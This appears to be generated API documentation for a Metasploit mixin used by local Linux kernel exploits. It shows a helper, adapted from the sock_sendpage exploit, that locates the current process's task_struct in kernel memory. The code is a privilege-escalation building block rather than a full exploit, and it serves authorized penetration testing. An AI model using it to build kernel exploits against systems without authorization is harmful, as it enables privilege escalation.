Module: Msf::Exploit::Local::LinuxKernel

Includes:
CompileC
Defined in:
lib/msf/core/exploit/local/linux_kernel.rb

Instance Attribute Summary

Attributes included from CompileC

#cparser, #cpu

Instance Method Summary collapse

Methods included from CompileC

#init_metasm, #setup

Instance Method Details

#current_task_struct_h(metasm_exe) ⇒ Object


7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# File 'lib/msf/core/exploit/local/linux_kernel.rb', line 7

def current_task_struct_h(metasm_exe)
  metasm_exe.parse <<-EOS
    current_stack_pointer:
      mov eax, esp
      ret
  EOS

  # Taken from sock_sendpage.c
  cparser.parse <<-EOC
#define TASK_RUNNING 0

int current_stack_pointer(void);

static inline unsigned long
current_task_struct(void)
{
unsigned long task_struct, thread_info;

thread_info = current_stack_pointer() & ~(4096 - 1);

if (*(unsigned long *)thread_info >= 0xc0000000) {
  task_struct = *(unsigned long *)thread_info;

  /*
   * The TASK_RUNNING is the only possible state for a process executing
   * in user-space.
   */
  if (*(unsigned long *)task_struct == TASK_RUNNING)
    return task_struct;
}

/*
 * Prior to the 2.6 kernel series, the task_struct was stored at the end
 * of the kernel stack.
 */
task_struct = current_stack_pointer() & ~(8192 - 1);

if (*(unsigned long *)task_struct == TASK_RUNNING)
  return task_struct;

thread_info = task_struct;

task_struct = *(unsigned long *)thread_info;

if (*(unsigned long *)task_struct == TASK_RUNNING)
  return task_struct;

return -1;
}

EOC

end